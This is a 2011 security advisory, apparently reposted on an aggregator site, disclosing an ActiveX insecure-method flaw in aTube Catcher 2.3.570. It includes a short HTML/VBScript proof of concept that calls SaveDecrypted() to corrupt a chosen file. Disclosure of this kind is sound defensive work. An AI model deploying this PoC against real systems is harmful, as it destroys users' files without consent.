aTube Catcher 2.3.570 Insecure Method

🗓️ 07 Jul 2011 00:00:00Reported by High-Tech Bridge SAType

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aTube Catcher 2.3.570 Insecure Method Vulnerabilit

`Vulnerability ID: HTB23013  
Reference: http://www.htbridge.ch/advisory/atube_catcher_activex_control_savedecrypted_insecure_method.html  
Product: aTube Catcher  
Vendor: Diego Uscanga ( http://atube-catcher.dsnetwb.com )   
Vulnerable Version: 2.3.570 and probably prior  
Tested on: 2.3.570  
Vendor Notification: 01 June 2011   
Vulnerability Type: ActiveX Control Insecure Method  
Risk level: Medium   
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )   
  
Vulnerability Details:  
High-Tech Bridge SA Security Research Lab has discovered a vulnerability in aTube Catcher, which can be exploited to corrupt arbitrary files.  
  
The vulnerability is caused due to the ChilkatCrypt2.ChilkatOmaDrm.1 (ChilkatCrypt2.dll) ActiveX control including the insecure "SaveDecrypted()" method. This can be exploited to corrupt arbitrary files in the context of the currently logged-on user.  
  
The following PoC code is available:  
  
  
<html>  
<object classid='clsid:0B70AB61-5C95-4126-9985-A32531CA8619' id='target' /></object>  
<input language=VBScript onclick=Boom() type=button value="Exploit">  
<script language = 'vbscript'>  
Sub Boom()  
arg1="FilePath\Filename_to_corrupt"  
target.SaveDecrypted arg1  
End Sub  
</script>  
  
</html>   
  
  
`

07 Jul 2011 00:00Current

7High risk

Vulners AI Score7